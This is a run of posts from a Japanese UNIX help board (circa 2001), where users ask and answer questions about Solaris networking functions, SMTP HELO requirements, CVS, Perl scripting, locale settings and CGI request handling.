>>2057 たかし > inet_atonを使う場合のライブラリは、何を指定すればいいのでしょうか? > -lnsl -lsocketではダメなようで。。。 こういう場合には OS とそのバージョンを書かないと無意味です。 inet_aton はない場合もあるので、inet_addr でも使って下さい。 例えば、Solaris 2.5.1 には inet_aton はありませんでした。 (でも、inet_ntoa はあるけど…。) 詳しいことは man inet_addr してください。 #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int argc, char *argv[]) { printf("%x\n", inet_addr("192.168.0.1")); return 0; } |
|
>>2052 68user 回答遅れてすいません。 >ftp コマンドで debug モードを ON にしてみると何かわかりませんか? passwdの部分がXXXXになってしまい、よくわかりません。 それに、ftpコマンドは通常どおり通るので、プログラムでどこが正常で ないのかはちょっとわかりません。 再度プログラムをダウンロードしてトライしてみます。 |
|
>>2055 ゆうすけ > uname -aの結果は、SunOS std2ss42 5.6 Solaris2.6 ですね。「UNIX の部屋」は基本的に FreeBSD に ついて書いてますので、Solaris にないコマンドはいっぱいあります。 基本的にインストールしたいものがあれば、ソースを持ってきて 自分でコンパイルします。ソースのありかは http://ftpsearch.lycos.com/?form=medium で調べるとよいでしょう。例えば foo-1.1.tar.gz を取得したら % gzip -dc foo-1.1.tar.gz | tar zxvf - で展開し、 % cd foo-1.1 % ./configure % make % make install という流れになります (これほど簡単にはいかない場合がほとんどですが)。 また、sunsite というコンパイル済みのものを配布している ところがありますが、あまり数は多くないです。 http://sunsite.sut.ac.jp/sun/solaris-binaries/sparc/ >>2058 rosegarden > Solaris 2.5.1 には inet_aton はありませんでした。 Solaris2.6 にも Solaris7 にも inet_aton はありませんでした。 >>2010 もっち https でのアクセスは実現できましたか? 結果報告をお待ちして おります。 |
|
いつもお世話になっております。 今度はSMTPについての質問なのですが…… SMTPサーバに接続した後最初にクライアント側で行うことは、HELO(またはEHLO) を送ることですよね。でも、なぜこういうことをするようRFCで定められている のでしょうか?これがなければ生じる不具合はどういったものが考えられるので しょうか?「SMTP EHLO 解説」をキーワードにしてGoogleで検索しましたが、 決定的なものが見つかりませんでした…。他に「オライリー・ジャパン」から 出版されている「Sendmail システム管理」なる本も読みましたが、なんかこの 部分だけ意図的に説明を避けているみたいで… (^^;; 何とぞよろしくお願いします。 |
|
>>2061 skel.103M とりあえずこちらを。 http://djbdns.jp.qmail.org/djb/smtp.html 知りませんでしたが、envelope がクリアされるらしいですね。 |
|
>>2061 skel.103M > SMTPサーバに接続した後最初にクライアント側で行うことは、 > HELO(またはEHLO)を送ることですよね。 とは限りません。うちなんかだと次のようしても メールが送れるようになっています。 % telnet mail 25 Trying xxx.xxx.xxx.xxx... Connected to mail.hogehoge.co.jp. Escape character is '^]'. 220 mail.hogehoge.co.jp ESMTP Postfix MAIL from:<rosegarden@hogehoge.co.jp> 250 Ok RCPT TO:<rosegarden@isp.net.ne.jp> 250 Ok DATA 354 End data with <CR><LF>.<CR><LF> This is a test. . 250 Ok: queued as 9CEF017A4A quit 221 Bye Connection closed by foreign host. > でも、なぜこういうことをするようRFCで定められている > のでしょうか? RFC 821 や RFC 2821 をざっと見た限りだと MUST とか SHOULD とかいう表現はありませんね。 それから、sendmail の operation guide をみると PrivacyOptions の項に public Allow open access needmailhelo Insist on HELO or EHLO command before MAIL needexpnhelo Insist on HELO or EHLO command before EXPN noexpn Disallow EXPN entirely, implies noverb. needvrfyhelo Insist on HELO or EHLO command before VRFY とあるので、このことからも、HELO や EHLO をどうするかには 任意性があるように思えます。 Postfix でも main.cf.default をみると smtpd_helo_required = no なんていう設定項目があります。 ということは、設定の際に任意性があるわけです。 おそらく、デフォルトでインストールすれば、HELO なしで 通る場合が多いでしょう。 |
|
>>2062 68user > とりあえずこちらを。 > http://djbdns.jp.qmail.org/djb/smtp.html > 知りませんでしたが、envelope がクリアされるらしいですね。 失礼しました。蛇足の書き込み申し訳ありません。 |
|
「ネットワークプログラミングの基礎知識」 http://X68000.startshop.co.jp/~68user/net/ に「SSL でアクセスしてみよう」 http://X68000.startshop.co.jp/~68user/net/ssl.html を追加しました。 サンプルソースがほとんど http://stingray.sfc.keio.ac.jp/security/ssl/ssl.html のパクリというのが情けない…。 |
|
ときに、UNIX+Java+Java servlet+JDBC+Postgres+ XML+XSLT な解説って需要ありますか? 書きたくはあるけれど、普通の ISP では Java servlet なんて 使えないだろうなぁ…。 |
|
どうも、skel.103Mです。 素早いフォローありがとうございます。>68user様・rosegarden様 >>2063 rosegarden > > でも、なぜこういうことをするようRFCで定められている > > のでしょうか? > > RFC 821 や RFC 2821 をざっと見た限りだと MUST とか SHOULD > とかいう表現はありませんね。 RFC2821には MUST や SHOULD なる表現があります。RFC2821の 4.1.1.1 Extended HELLO (EHLO) or HELLO (HELO)の第2段落にある以下の記述が これに該当すると思います: > A client SMTP SHOULD start an SMTP session by issuing the EHLO > command. & > In any event, a > client MUST issue HELO or EHLO before starting a mail transaction. RFC2821はRFC821を破棄したわけですから、クライアントによるHELO(また はEHLO)コマンドの発行が新しく*必須*となったと考えてよいと思われ ます。その理由っていったい何なんでしょう??私にはさっぱり想像 できないんですけど……。そこで、 >>2062 68user > とりあえずこちらを。 > http://djbdns.jp.qmail.org/djb/smtp.html を見てみましたが、これによると、「サーバ 実装者には HELOなしの世 界への将来の転換をサポートするように、 クライアント が HELOを省略 させるようにしむけることを推奨します。」という記述があるんです けど。…これってHELO(またはEHLO)の存在意義はないと言ってるよう にとれるんですけど……私だけ? (^^;;; > 知りませんでしたが、envelope がクリアされるらしいですね。 ご紹介いただいたWebページはqmailの実装をもとにして記述されたもの のようですが、RFC2821にはそれを示唆する部分は見つけられませんでし た。 う〜む…… |
|
>>2067 skel.103M > > > でも、なぜこういうことをするようRFCで定められている > > > のでしょうか? > > > > RFC 821 や RFC 2821 をざっと見た限りだと MUST とか SHOULD > > とかいう表現はありませんね。 > RFC2821には MUST や SHOULD なる表現があります。RFC2821の > 4.1.1.1 Extended HELLO (EHLO) or HELLO (HELO)の第2段落にある以> 下の記述が > これに該当すると思います: なるほど、おっしゃる通りです。 私は 3.2 を見ていました。 かえって勉強になりました。ありがとうございます。 |
|
はじめまして。 いつも勉強させていただいています。 質問なのですが、 UNIXでファイルのバージョンを管理するコマンド(TOOL!?)って デフォルトであるのでしょうか? ちなみに、 # $Id: echo-server-select.pl,v 1.1 2001/04/21 18:56:41 68user Exp $ ↑は、どのようにやっているのでしょうか? (※勝手に引用させてもらいすいません。) |
|
>>2067 skel.103M うーむ、私のレベルではちょっとついていけませんです。無念。 >>2069 @km > UNIXでファイルのバージョンを管理するコマンド(TOOL!?)って > デフォルトであるのでしょうか? UNIX と言ってもいろいろあります。何をお使いですか? # 上の「使い方」のところにも書いてあるように、OS やバージョンを # 必ず書いて下さい。 無料で利用できるものならば、RCS と CVS があります (SCCS はよく知らない のでパス。今でも現役なのかしら)。FreeBSD, NetBSD, OpenBSD なら両方デフォ ルトで入っています。Solaris なら両方ともデフォルトでは用意されていませ ん (当然ですがインストールすれば使えます)。Linux はわかりません。 両者の特徴はこのページをどうぞ。 http://www2.noritz.co.jp/anchor/ashp/peggy/cvs/cvs_rcs.html このサイトのコンテンツは CVS で管理しています。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/ http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/cgi-bin/wwwboard.cgi http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/cgi-bin/wwwboard.cgi.diff?r1=1.1&r2=1.2&f=h のように、ファイルの修正履歴が残ること、変更点を容易に把握できること、 ネットワーク経由でアクセスできることが利点です。 > $Id: echo-server-select.pl,v 1.1 2001/04/21 18:56:41 68user Exp $ > ↑は、どのようにやっているのでしょうか? $Id:$ という文字列を埋め込んでおけば、勝手にバージョンや更新時刻や更新 者名が埋め込まれます。この機能は CVS, RCS 両方に備わっています。 CVS については書籍も4冊ほど出ていますし、解説しているサイトもたくさん ありますので、興味があれば google などで検索してみて下さい。 |
|
>>2070 68user > >>2067 skel.103M > うーむ、私のレベルではちょっとついていけませんです。無念。 68user様が >>2062 68user で紹介されていたサイトは http://www.google.com/search?as_q=SMTP&num=10&btnG=Google+%8C%9F%8D%F5&as_epq=&as_oq=HELO+EHLO&as_eq=&lr=lang_ja&as_occt=any&as_dt=i&as_sitesearch= などでヒットしたサイトのうち最初に出てきたものですよね。上記検索 結果の4つ目付近にある http://spica.u-aizu.ac.jp/study/material/2000-10-17/neo-study3.pdf の7ページ目には次のように書かれていました: 「sender-SMTPとreceiver-SMTPを識別するためのコマンド」 …これは正しいのでしょうか? これに関する質問は今回限りということで何とぞよろしくお願いします。 m(__)m |
|
どなたかご存じでしたら教えて下さい。 当方、Cygwin on Win95 な環境で Wanderlust on XEmacs として mail 環境を 構築しています。 今回、更に fetchmail & Maildrop を使用して、mail を local に取り込もうと しています。 Maildrop で local spool に取り込み、Wanderlust で読むとすれば、Maildir 形式になるかと思い、試行錯誤の上、何とか Maildir 形式で取り込めたのですが、 Wanderlust で読み込む段になって困ってしまいました。 Maildir 形式だと、new/ -> cur/ の mail 移動を行う際に、path にl `:' を 含めてしまうんですね。 Windwos では、path に `:' を含めることが出来ないため、ここから先に進む ことが出来ません。 どなたかこの様な状況を解決された方はいらっしゃいませんでしょうか。 |
|
はじめまして、いつも参考にさせてもらっております。 どなたかご存知でしたら教えてください。 指定ディレクトリ以下のファイルで、ディレクトリのみ表示する ことは可能ですか? ちなみにla -dでは出来ませんでした。 |
|
>>2073 harap find <DIR> -type d で可能だと思います。詳細は「man find」で。 |
|
>>2074 skel.103M ありがとうございました。 うまくできました。 |
|
たびたびすいません。 現在Cシェルにてプログラムを作成中なのですが echoで表示している文字列にカラー設定することは可能でしょうか? |
|
>>2071 skel.103M > 「sender-SMTPとreceiver-SMTPを識別するためのコマンド」 > …これは正しいのでしょうか? ん〜、HELO で envelope がクリアされるなら、中継サーバは HELO をしゃべっちゃいけないので、結果として識別できるの かなぁとは思うのですが…。どうなんでしょう。 >>2076 harap > echoで表示している文字列にカラー設定することは可能でしょうか? 端末に依存しますが、可能です。 perl -e 'print "\x1b[31m"' (赤) perl -e 'print "\x1b[32m"' (緑) perl -e 'print "\x1b[30m"' (黒) などなど。kterm や TeraTerm などならこれで OK でしょう。 echo ^[[32m でもいいです (^[ の部分は直接 ESC 文字を打ち込みます。tcsh 上なら C-v ESC、emacs 上なら C-q ESC)。 perl -e 'print "\x1b[31mhoge\x1b[32mfuga\x1b[30m"' などと続けて書いてもいいです。 # 他にコントロールコードを直接出力できるコマンドって # ありましたっけ? (stty とか tset の方面で) google で「エスケープシーケンスード ESC 色」などで検索して みて下さい。 >>2072 Ten うーむ、Windows でメールを読まないので…。 |
|
>>2077 68user ありがとうございました。 お礼が遅くなってすいませんでした。 やってみます。 |
|
はじめまして。 最近UNIX-CでNetwork Programmingを始めた者です。よろしくお願いします。 こちらに掲載されているC言語のechoプログラム(echo-server-1.c)を そのまま書き写して実行したのですが、先頭の1文字しか返ってきません。 read_line()の戻り値が [0 or 1] なので、 94行目で、文字列が1文字だけになってしまいます。 read_line()の戻り値を [0 or 文字数] に修正すればよいと思います。 私の勘違いでしたらすみません(^^; |
|
>>2079 るは ありがとうございます。テスト不足で失礼しました。修正しておきます。 最初はちゃんと動いていた気がするんだけど、いつエンバグしたのかなぁ? |
|
いつもお世話になってるskel.103Mです。 >>1978 skel.103M >>1980 68user >>1981 skel.103M このことについて、news:fj.mailに記事が投稿されているのを(今さらなが ら)発見!: Message-ID: <tzzlmmezl9x.fsf@nightmare.hm.taito.co.jp> …投稿日は2001/06/27(水)となってますね。 |
|
はじめまして。 perlを勉強中の者です。 いきなりで恐縮ですが、質問です。 perlのIO::SOCKETモジュールを使ったhttpクライアントを作っているのですが 画像を読み込めないんです。ちなみに、htmlはうまくいっています。 今作っている物では、他サーバーからファイルを読みとり 自分のサーバーに保存という作業をやらせたいんです。 しかし、画像ファイルを読み込むと改行が不要な位置に 改行入ってしまいます。 画像も読み込めるようにするにはどう作りかえたら良いのでしょうか? ソース http://uchu.hypermart.net/image.txt |
|
>>2082 猫じゃらし ちゃんと環境を書きましょう。Windows ですか? 1. ヘッダもそのまま 2.gif に出力してしまう。 2. 改行が入ってしまうなら、Windows でテキストモードになっているのかも。 ということで、 # ヘッダまでを読み飛ばす while (<$remote>){ last if ( $_ eq "\n" || $_ eq "\r\n" ); } # ここからが画像データ while (<$remote>){ $outdata .= $_; } open(OUT, "> 2.gif"); binmode(OUT); print OUT "$outdata"; close(OUT); でどうでしょう。 foreach を使わず while を使うのは、foreach の () 内はリストを要求する ので、<$remote> はリストコンテキストで評価され、 foreach ("1行目のデータ", "2行目のデータ", ..., "最終行のデータ"){ と展開されてしまうからです。よって、 foreach (<$remote>){ last if ( $_ eq "\n" || $_ eq "\r\n" ); } の時点でファイルハンドル <$remote> から全てのデータを読み 切ってしまうので、last で抜けた後には <$remote> という ファイルハンドルにはデータが残っていません。 foreach (scalar(<$remote>)){ で強制的にスカラーコンテキストにするならいいんですが、 この場合は素直に while を使った方がよいでしょう。 |
|
>>68user 環境を書き忘れてすいません、マナー違反でしたね、、、 ちなみに、環境はWinMEでActivePerlを動かしている状態です。 さて、68userさんのレスにあったものをペーストして ソースは下のようになりました。 http://uchu.hypermart.net/image2.txt これで無事動かすことができました。ありがとうございます。 このHPは、これからも勉強参考にさせてもらいますね。 ではでは、、 |
|
はじめまして超初心者の者です。 質問なのですけど会社で渡されたCシェルのプログラムに mailx -s というコマンドがありまして調べても見つかりません。 UNIXのことなどさっぱり分からないので困っています。 知っている人がいたら教えてください。 お願いします。m(__)m |
|
>>2085 kazu ちゃんと OS 名やバージョンなどの情報を書きましょう。 > mailx -s mailx は SystemV 系 UNIX のコマンドです。Linux にも あるようですが、*BSD にはないはずです (FreeBSD なら ports で mail/mailx がありますが)。 まぁメールの送信だけなら mail も mailx も同じようなもの なので、そのまま mail に読み変えればよいでしょう。 |
|
はじめまして。早速なんですが、UNIXの運用について質問があります。ログインユーザーごとに使用したい文字コードが違うんですが、どのように設定したらよいのでしょうか?教えてください。 |
|
>>2087 sato.k ログインユーザごとに ~/.cshrc や ~/.profile で setenv LANG ja_JP.eucJP とか LANG=ja_JP.eucJP; export LANG とか書くか、/etc/profile や /etc/csh.cshrc でユーザ名をみて 適切な locale を設定するのはどうでしょうか。 具体的な locale 名や、/etc/ の下のファイル名などは OS によって違いがあるので、お使いのシステムではどうなって いるか確認して下さい。 FreeBSD なら /etc/login.conf に各ロケール分のログイン クラスを作るのもいいかな。 |
|
>>2079 るは > こちらに掲載されているC言語のechoプログラム(echo-server-1.c)を > そのまま書き写して実行したのですが、先頭の1文字しか返ってきません。 遅くなりましたが、さきほど直しました。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/echo-server-1.c ご指摘ありがとうございました。 |
|
UNIX の部屋をやっと CVS に突っ込みました。悲願達成。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/unix/ これで思う存分更新ができます。 - コンテンツをローカルでも修正し、web サーバでも修正して、 どっちが最新版かわからなくなる - 前回から更新した部分はどこだったろうか? と忘れてしまう という経験がある方は、CVS で管理してみてはどうでしょうか。 僕はもう CVS なしでは生きていけません。 なお、普通は http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/ のように cvsweb でリポジトリ公開なんてことはしません (笑) 公開しなくても CVS で管理できます。 |
|
>> こちらに掲載されているC言語のechoプログラム(echo-server-1.c)を >> そのまま書き写して実行したのですが、先頭の1文字しか返ってきません。 >遅くなりましたが、さきほど直しました。 \nの所に\0を書き込んでる気がします。 |
|
#2091 >\nの所に\0を書き込んでる気がします。 よく見たら、そんなこと有りませんでした。 訂正します。 |
|
かなりどうでもいい話題なんですが、UNIX の部屋の検索で一件もヒットしな かったキーワードを調べてみました。対象は 2001 年。括弧内は検索回数。 なんとなく現在足りない情報がわかって興味深かったです。 今後の参考にさせていただきます。 Solaris or SystemV 系 … 特に管理系がいまいち弱くて申し訳ない。 useradd(541) sar(378) ufsdump(161) pkgadd(146) mailx(145) dbx(95) groupadd(88) usermod(74) ufsrestore(60) usradd(55) nawk(54) userdel(54) pkginfo(54) vfstab(50) sjtoeuc(40) こんなのふつー載ってるだろ系 … なるべく早く書きます ssh(242) expr(172) scp(149) a2ps(108) iconv(95) chroot(57) pushd(52) ulimit(49) slogin(39) rcs(38) bz2(36) Windows の用語をそのまま打ち込んだ系? rename(171) mv のところに「Win で言うところの rename」と書いておけばよい? tracert(36) traceroute のところに「Win で言うところの tracert」と書いておけばよい? tree(46) これは find かなぁ。 68user の弱い方面系 … 申し訳ない。満足な解説書けません。 lpr(328) arp(194) cpio(177) iostat(102) rsync(79) バックアップ(73) lpq(64) プリンタ(58) restore(56) mkfs(55) mknod(54) こんなの検索するんだ… sccs(53) プリント(50) lpstat(43) snmp(39) パーティション(39) これ何? 系 … 誰か教えて。 snoop(161) ipcs(112) fdisk(90) filec(66) ndd(43) showrev(52) ipconfig(53) ioscan(51) mpstat(44) substr(45) perl? 入力が不適切系 … 全角アルファベットはないのですよ。半角に自動置換しようかしら。 ls(196) ユーザー(166) ユーザならあるんですけど 解凍(150) 展開で統一してます。改善予定 ftp(127) cp(106) ln(90) ps(85) rm(54) リダイレクション(49) その後「リダイレクト」で検索してくれただろうか df(48) クーロン(43) これは改善予定 mv(40) csh(35) その他: select(91) bdf(88) atol(85) ファイル検索(70) logger(68) 需要あるのかなぁ。 pdf(63) ファイル名変更(54) flock(54) htpasswd(53) うーん samba(43) jar(42) なぜ jar が gateway(41) access(36) ちなみに検索にヒットしたキーワードのトップ20はこちら (リンクを たどったものは除く。訪問者が入力したキーワードのみ)。 tar(7512) grep(3832) find(3219) ftp(2502) ls(2490) vi(2370) cp(2215) ps(1799) rm(1773) chmod(1677) gzip(1528) cron(1511) ln(1368) mount(1352) crontab(1330) sed(1257) make(1188) awk(1150) mail(1034) date(1047) |
|
>>2093 68user 『誰か教えて』の意味勘違いしているかもしれませんが…。 > これ何? 系…誰か教えて。 > snoop(161) Solaris 標準コマンド tcpdump のような用途で使う Sniffer ですね。 > filec(66) > ndd(43) Solaris 標準コマンド。主に、TCP/IP 関係のデバイス 制御に使います。たとえば、TCP ヘッダのシーケンス番号 の生成法もこれで変えられたかとおもいます。 FreeBSD の sysctl に似た感じで使います(不正確ですが)。 > showrev(52) Solaris の標準コマンド。pkg 管理用です。 showrev -p なんてすると、どんなパッチが当たっているかが わかります。 > ipconfig(53) これは多分 win のコマンドじゃないかな? ifconfig に似た感じの情報を表示します。 このコマンドを ifconfig みたいにインタフェースの 変更用に使えないんでしょうか? 試したけど、うまくいかなかった。 > mpstat(44) これは Solaris で man mpstat したら出てきましたよ。 |
|
>>2094 rosegarden >> filec(66) おっと、これは消し忘れていました。これは無視してください。 |
|
いつもお世話になっているので、少しでも協力できれば… >>2093 68user > fdisk(90) これって、Linux系だけなのですか? パーティーションテーブルを操作するコマンドですが… >>2094 rosegarden > ipconfig(53) >変更用に使えないんでしょうか? 表示だけみたいですね。 「Win系はあくまでGUIなんでCUIインターフェースツールは、ホント におまけ」みたいなポリシーのようです。 てか、あまり役に立ってなさそう…とほほ ところで「UNIX の部屋」は、管理者向けの意味合いが大きいのでしょ うか?それとも一般向け?>68userさん |
|
>>2096 スナフキン > > fdisk(90) > これって、Linux系だけなのですか? > パーティーションテーブルを操作するコマンドですが… *BSD 系の OS ならあると思います。少なくとも、 FreeBSD/i386, OpenBSD/i386, NetBSD/i386 ならあります。 Solaris も x86 系のならあるかと思います。 今見たところ、SPARC 用の Solaris でも マニュアルはインストールされていますね。 > >>2094 rosegarden > > ipconfig(53) > >変更用に使えないんでしょうか? > 表示だけみたいですね。 そうですか、いや、自分のやり方が悪かったかと、 思っていたのですが、そういう仕様なんですね。 ありがとうございました。 >>2093 68user それから、いま man したら ipcs は Solaris にはあるようですね。 |
|
IPアドレスとホスト名の説明中にある文章に関して >しかしその逆の、FQDN はあるが IP アドレスはない、というマシンは >存在しません。 ネットワークに接続されている全てのマシンには IP >アドレスが付けられています。 FQDNはあってもIPアドレスがないマシンは存在します。UUCP接続の場合 にはネットワークに接続されていないのでIPアドレスを割当てる必要が ないからです。 |
|
>これ何? 系 … 誰か教えて。 > ioscan(51) HP-UXで使いますね。cd-romの装置番号を調べたり、周辺機器の SCSI IDを調べたりするときに使いました。 参考: http://www.calpoly.edu/cgi-bin/man-cgi?ioscan |
|
>>2094 rosegarden > 『誰か教えて』の意味勘違いしているかもしれませんが…。 いえ、そういう意味です。みなさまどうもありがとうございます。 >>2096 スナフキン > ところで「UNIX の部屋」は、管理者向けの意味合いが大きいのでしょ > うか?それとも一般向け? 両方です。大学などの UNIX ならともかく、PC-UNIX では利用者=管理者な場 合がほとんどでしょうから、両方の知識を身に付ける必要があると思います。 >>2098 whois > UUCP接続の場合にはネットワークに接続されていないのでIPアドレスを > 割当てる必要がないからです。 なるほど。しかし、 UUCP はメール・ニューズ限定のプロトコルである。UUCP の上には HTTP も POP も載せることができない。つまり、UUCP はトランス ポート層・ネットワーク層に相当し、TCP/IP とは並列関係にある。 http://X68000.startshop.co.jp/~68user/net/net-1.html は、TCP/IP の初歩を解説しているページなので、そこで UUCP に 言及することは混乱を招く。 と思うのですが、いかがでしょうか。UUCP は使ったことも設定したこともな いので、間違っていたら指摘お願いします。 |
|
>>2100 68user >UUCP はメール・ニューズ限定のプロトコルである。 現状はその通りなのですが、名前の通りファイルの転送も出来ます。 以前IIJでAnonymous UUCPでファイルの配布がされていたことが ありました。1分30円だったかな。 「インターネットに接続されている全ての」ではなく、 「TCP/IPでインターネットに接続され…」であればとりあえず 矛盾は無くなりますが、ちょっと分かりにくいですね。 |
|
皆さんはじめまして。実は今はじめてCGIをperlで作っていますが、フォームの内容を送信しようとすると以下のようなメッセージが出てきます。 このメッセージを出すことなくメールへの送信は可能でしょうか? よろしくお願いします。 Sending C:\WINNT\blt9F.tmp to xxxx@xxx.ne.jp Subject:XXXXX Login name is info@xxxxx.com |
|
>>2097 rosegarden >そうですか、いや、自分のやり方が悪かったかと、 >思っていたのですが、そういう仕様なんですね。 いえ、仕様だと言い切るとまた語弊がありそうなんで濁しておきます(笑) 自分の場合は、あまりにも使えないコンソールなんで、Cygwin使ってます。 でも、うまく設定が出来ないんでDOSと半々かな(^^; >>2100 68user >両方の知識を身に付ける必要があると思います。 確かにそうですねぇ。自分はGUIは滅多に立ち上げずに殆どCUIのみで 利用していますが、最近の雑誌を見るとGUI上前提の記事が多いので、 実際にWindowsのような使われ方をしている人の比率は多いのかなぁ? あ、もちろん複数の環境が有る場合ですが… >>2102 よしあき Windows環境でsendmail互換のMTAをperlから利用していると想定して ですが… 多分そのsendmail互換のアプリが出しているメッセージなので、その 部分に以下のような記述をすれば回避できると思います。 (ん?コレはブラットJってやつかな?) 実際の記述部分が判らないので予想で書きますが、 1. open(MAIL, "sendmail 〜 コマンド |"); 2. open(MAIL, "sendmail 〜 コマンド > nul"); 「1」コマンドの標準出力を受け取るので、エラーチェックなどを検知する事もできます。 「2」標準出力を強制的にブラックホールに捨てます。 また、質問する時はもう少し詳しく環境とかを書きましょう。 |
|
初めまして。最近CGIの勉強を始めました。(^^) 今まで、フリーで配布されているCGIの改造をしたことは あったのですが、自分で最初から書けるようになりたいと思っています。 わからないことがあるたびに、本を読んだり、インターネットで検索するのですが 68userさんのページが一番詳しく、わたしの知りたいことが書いてありました。 ありがとうございました。crypt関数とか、半角カナ・機種依存文字問題とか うまくいかなくて、いきづまっていたので、大変参考になりました。 (日本語特有の問題は、翻訳本にはほとんどでてこないし (^^;) これからUNIXのことも勉強したいと思っています。 これからもどうぞよろしくお願いします。 |
|
Perl一般の質問ですみません。 さいきん Word が作った RTF をパースしないといけないハメになったんですが、 VBA はツライので Perl でやろうと思っています。 RTF::Parserというのを見つけてインストールはうまくいったんですが、 ドキュメントがまったくなく、お手上げです。 (TODO: Write a document とか書いてあるのがだいぶ前なので、 投げたのかも、、) どなたか使い方をご存知の方、リンクだけでもご存知の方教えてくださいませんか? あと、他に Perl で RTF をパースした経験がある方、 「やめたほうがいい」という結論に達した方などなど、 この問題に情報がある方はお寄せください。 また、RTF の規格についてわかりやすく書いているリンクなども、、。 あと、あまりにもこの件が掲示板の趣旨を逸脱するようでしたら すみません、ツッコんでください。(^^; スナフキンさん> Cygwin 最高ですよね! 割り切って使うには最高です。 これと Meadow のおかげでやっと Windows と友達になれました。 ところで、1.1 をお使いですよね? なぜか B20 ベースの解説サイトやソフトが多いのですが、 B20 にくらべて 1.1 は超超超超安定してていい感じです。 わたしはここでお世話になった技術で Apache をコンパイルして CGI のテストも Windows でしてます!(^o^) |
|
Solaris 2.6 で、Sun Workshop 4.2 を使用しています。 事情により境界整列を全く行なわせない指定をしたいので、 $ cc -flags (snip) >-misalign 境界整列していないデータのロード/ストアを可能にするコードを生成 を指定しているのですが、意図した様な動作が得られません。 また、 >#program align foo, var と指定してもダメです。 どうすれば良いのか御存知の方、いらっしゃいますか? |
|
>>2106 ten >#program align foo, var とりあえず program じゃなくて pragma でしょう。あと、試して ませんが書き方が怪しいのではないかと思います。こちらを参考に。 http://docs.sun.com/htmlcoll/coll.674.1/euc-jp/CUG/accOptions.html#1407 >>2105 ふくし > また、RTF の規格についてわかりやすく書いているリンクなども、、。 Rich Text Format は Microsoft が作った規格なので、Microsoft に 仕様書が存在するはずなのですが、見付けられませんでした。もしかしたら 今は別の団体が管理しているのかもしれません。 |
|
こんちは、お初です。最近Perlはじめました。 ほかの言語はからっきし使えません(TT関西弁ならいけるけど。。。 で、Perlのプログラミングで質問させてもらいます。 テキストファイルで、↓こういうかんじ name age year -------------------------- CCIE 22 2001 みたいな感じのテキストがあって、そこから3行目だけを出力させたいのと この場合だと22だけを取り出したいっていう2つのことがどうすれば いいか今格闘中です。 たぶん正規表現かなーっとおもって オライリーの正規表現見てますがさっぱりで・・・(^^;) どなたか助言よろしくお願いしますm(__)m |
|
>>2108 CCIE > 3行目だけを出力させたい 自分で何行読んだかを数えます。 $line = 1; open(IN, "file"); while (<IN>){ if ( $line == 3 ){ print "これが 3行目の内容です: $_"; } $line++; } > 22だけを取り出したい $_ に "CCIE 22 2001\n" が入っている状態で、 ($name, $age, $year) = split(/\s+/, $_); とすれば $age に '22' が入ります。 \s は空白・タブを表し、\s+ は1文字以上連続した空白・タブを表しますので、 $_ を1文字以上連続した空白・タブで分割し、それぞれのフィールドを $name、$age、$year に代入 という意味になります。 あるいは ($name, $age, $year) =~ m/^(.*)\s+(\d+)\s+(\d+)$/; という方法もあります。^ は行頭、\d は数字、$ は行末を表し、 括弧でくくった部分がそれぞれ $name、$age、$year に代入されます。 |
|
>>2109 68user > ($name, $age, $year) =~ m/^(.*)\s+(\d+)\s+(\d+)$/; 余計なような足りないような… ($name, $age, $year) = m/^(.*)\s+(\d+)\s+(\d+)$/; 若しくは ($name, $age, $year) = $_ =~ m/^(.*)\s+(\d+)\s+(\d+)$/; では無いでしょうか? |
|
早々の返事ありがとうございますm(__)m 参考に勉強させてもらいます. みなさんすごいですね.ってこういうのでつまづいているのは僕だけかな(TT いまから,↓の$や()や\や+がごちゃごちゃしたものをゆっくり理解していきたいとおもいます. 実は今,これでいうと22の部分をTkのGIFgraphで表現しようと思ってるんです. テキストファイルが定期的に書きかえられるのでグラフ化したいと思って. それで,いま撃沈しているところを聞かせていただいたんです. 出きるだけ御迷惑をかけないように自分で努力したいと思いますが,また質問してしまうと思うのでそのときはよろしくお願いします. |
|
はじめまして。68userさんのページはとても勉強になります。時間があったら、全文を熟読したいと思います。(そんな時間ないかもしれませんが。) それにしても、毎回いろいろな人からの質問に応えることのできる知識に、 少し圧倒されました。自分はまだまだ未熟者です。今後どーしてもわからないことがあったら、質問するかもしれませんので、そのときは、どうかよろしくお願いします。 |
|
ふと思ったのですが、CGIへPOSTメソッドでデータを送信した時に そのCGIでデータを受け無い時(readしない場合)って、そのデータは どうなるのでしょう? CGIで、最近流行りのバッファーオーバーフロー対策?として、POST データサイズを予め調べてから、read で読み込むようにしようと 考えましたが、このような場合は、サーバーOS/ソフト側でバッファ に一旦溜まるのでしょうか? それとも、CGIが受け取らない限りOS/ソフト側でデータそのものを 受け取らないのでしょうか? 試しに自環境にあるApacheに、アップロード機能付きの掲示板CGIを 使って約80Mbを送信してみましたが、cgi-lib.pl のエラー?でCGIは 停止したらしく、ps コマンドを見ると、zonbi となっていたため、 httpdがタイムアウト処理?をして切断された結果(だと思う)、ブラウザに 「cgi-lib.pl: Request to receive toomuch data: 84400432 bytes」と 表示され切断されたように見えました。 そして、その状態まで送信は止まらずにブラウザは送信を続けていました。 top や free で送信中のメモリの状態を観察していても変化がなかった 事から、CGIが受け取らないと捨てられてしまうようにも見えますが、 ちゃんと試験が出来ていたのか、自信が無いので正確な所は不明です。 結局、CGIでPOSTデータを受け取らなくても(プロセスが死んでいた為) ブラウザ自身は送信を続けていたので、どの時点で(OSかApache)データ を破棄しているのかは判断できませんでした。 そもそもCGI側でオーバーフローを気にしなくても良いならば、それでいい のですが、どうも動作が判りません。 #それとも実装依存なのかな? |
|
